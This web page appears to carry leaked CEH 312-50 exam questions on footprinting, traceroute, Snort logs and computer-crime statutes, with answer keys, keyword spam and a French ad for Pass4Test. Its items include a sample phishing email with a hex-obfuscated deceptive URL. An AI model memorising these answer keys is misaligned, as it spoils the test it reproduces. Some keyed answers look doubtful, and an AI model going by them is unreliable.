Answer: C

EC-COUNCIL   312-50 examen   312-50 examen   312-50   312-50 examen

NO.7 What are the two basic types of attacks?(Choose two.
A. DoS
B. Passive
C. Sniffing
D. Active
E. Cracking
Answer: B, D

EC-COUNCIL   312-50 examen   312-50 examen   312-50 examen   certification 312-50

NO.8 Your Certkiller trainee Sandra asks you which are the four existing Regional
Internet Registry (RIR's)?
A. APNIC, PICNIC, ARIN, LACNIC
B. RIPE NCC, LACNIC, ARIN, APNIC
C. RIPE NCC, NANIC, ARIN, APNIC
D. RIPE NCC, ARIN, APNIC, LATNIC
Answer: B

EC-COUNCIL   312-50 examen   312-50 examen   certification 312-50

NO.9 You receive an email with the following message:
Hello Steve,
We are having technical difficulty in restoring user database record after the recent
blackout. Your account data is corrupted. Please logon to the SuperEmailServices.com
and change your password.
http://www.supermailservices.com@0xde.0xad.0xbe.0xef/support/logon.htm
If you do not reset your password within 7 days, your account will be permanently
disabled locking you out from our e-mail services.
Sincerely,
Technical Support
SuperEmailServices
From this e-mail you suspect that this message was sent by some hacker since you
have been using their e-mail services for the last 2 years and they have never sent
out an e-mail such as this. You also observe the URL in the message and confirm
your suspicion about 0xde.0xad.0xbde.0xef which looks like hexadecimal numbers.
You immediately enter the following at Windows 2000 command prompt:
Ping0xde.0xad.0xbe.0xef
You get a response with a valid IP address.
What is the obstructed IP address in the e-mail URL?
A. 222.173.190.239
B. 233.34.45.64
C. 54.23.56.55
D. 199.223.23.45
Answer: A

EC-COUNCIL examen   certification 312-50   certification 312-50

NO.10 Where should a security tester be looking for information that could be used by an
attacker against an organization? (Select all that apply)
A. CHAT rooms
B. WHOIS database
C. News groups
D. Web sites
E. Search engines
F. Organization's own web site
Answer: A, B, C, D, E, F

EC-COUNCIL examen   312-50 examen   312-50   312-50   312-50   312-50 examen

NO.11 You are footprinting an organization to gather competitive intelligence. You visit
the company's website for contact information and telephone numbers but do not
find it listed there. You know that they had the entire staff directory listed on their
website 12 months ago but not it is not there.
How would it be possible for you to retrieve information from the website that is
outdated?
A. Visit google's search engine and view the cached copy.
B. Visit Archive.org web site to retrieve the Internet archive of the company's website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

certification EC-COUNCIL   312-50 examen   312-50   312-50 examen   312-50 examen

NO.12 According to the CEH methodology, what is the next step to be performed after
footprinting?
A. Enumeration
B. Scanning
C. System Hacking
D. Social Engineering
E. Expanding Influence
Answer: B

EC-COUNCIL examen   312-50 examen   certification 312-50   312-50   certification 312-50

NO.13 You are footprinting Acme.com to gather competitive intelligence. You visit the
acme.com websire for contact information and telephone number numbers but do
not find it listed there. You know that they had the entire staff directory listed on
their website 12 months ago but now it is not there. How would it be possible for you
to retrieve information from the website that is outdated?
A. Visit google search engine and view the cached copy.
B. Visit Archive.org site to retrieve the Internet archive of the acme website.
C. Crawl the entire website and store them into your computer.
D. Visit the company's partners and customers website for this information.
Answer: B

EC-COUNCIL   certification 312-50   312-50 examen

NO.14 How does Traceroute map the route that a packet travels from point A to point B?
A. It uses a TCP Timestamp packet that will elicit a time exceed in transit message.
B. It uses a protocol that will be rejected at the gateways on its way to its destination.
C. It manipulates the value of time to live (TTL) parameter packet to elicit a time
exceeded in transit message.
D. It manipulated flags within packets to force gateways into generating error messages.
Answer: C

EC-COUNCIL examen   312-50 examen   312-50   312-50   312-50 examen

NO.15 Which of the following tools are used for footprinting?(Choose four.
A. Sam Spade
B. NSLookup
C. Traceroute
D. Neotrace
E. Cheops
Answer: A, B, C, D

EC-COUNCIL   312-50 examen   312-50

NO.16 What is the essential difference between an 'Ethical Hacker' and a 'Cracker'?
A. The ethical hacker does not use the same techniques or skills as a cracker.
B. The ethical hacker does it strictly for financial motives unlike a cracker.
C. The ethical hacker has authorization from the owner of the target.
D. The ethical hacker is just a cracker who is getting paid.
Answer: C

EC-COUNCIL examen   312-50   312-50 examen   312-50 examen

NO.17 Snort has been used to capture packets on the network. On studying the packets, the
penetration tester finds it to be abnormal. If you were the penetration tester, why
would you find this abnormal?
(Note: The student is being tested on concept learnt during passive OS
fingerprinting, basic TCP/IP connection concepts and the ability to read packet
signatures from a sniff dumo.)
05/20-17:06:45.061034 192.160.13.4:31337 -> 172.16.1.101:1
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seq: 0XA1D95 Ack: 0x53 Win: 0x400
...
05/20-17:06:58.685879 192.160.13.4:31337 ->
172.16.1.101:1024
TCP TTL:44 TOS:0x10 ID:242
***FRP** Seg: 0XA1D95 Ack: 0x53 Win: 0x400
What is odd about this attack? (Choose the most appropriate statement)
A. This is not a spoofed packet as the IP stack has increasing numbers for the three flags.
B. This is back orifice activity as the scan comes from port 31337.
C. The attacker wants to avoid creating a sub-carrier connection that is not normally
valid.
D. There packets were created by a tool; they were not created by a standard IP stack.
Answer: B

certification EC-COUNCIL   certification 312-50   312-50   certification 312-50

NO.18 What does the term "Ethical Hacking" mean?
A. Someone who is hacking for ethical reasons.
B. Someone who is using his/her skills for ethical reasons.
C. Someone who is using his/her skills for defensive purposes.
D. Someone who is using his/her skills for offensive purposes.
Answer: C

certification EC-COUNCIL   certification 312-50   312-50 examen

NO.19 Who is an Ethical Hacker?
A. A person whohacksfor ethical reasons
B. A person whohacksfor an ethical cause
C. A person whohacksfor defensive purposes
D. A person whohacksfor offensive purposes
Answer: C

certification EC-COUNCIL   312-50 examen   312-50   312-50   certification 312-50

NO.20 User which Federal Statutes does FBI investigate for computer crimes involving
e-mail scams and mail fraud?
A. 18 U.S.C 1029 Possession of Access Devices
B. 18 U.S.C 1030 Fraud and related activity in connection with computers
C. 18 U.S.C 1343 Fraud by wire, radio or television
D. 18 U.S.C 1361 Injury to Government Property
E. 18 U.S.C 1362 Government communication systems
F. 18 U.S.C 1831 Economic Espionage Act
G. 18 U.S.C 1832 Trade Secrets Act
Answer: B

EC-COUNCIL   312-50   312-50   312-50

Le programme de formation EC-COUNCIL 312-50 offert par Pass4Test comprend les exercices et les test simulation. Vous voyez aussi les autres sites d'offrir l'outil de formation, mais c'est pas difficile à découvrir une grand écart de la qualité entre Pass4Test et les autres fournisseurs. Celui de Pass4Test est plus complet et convenable pour la préparation dans une courte terme.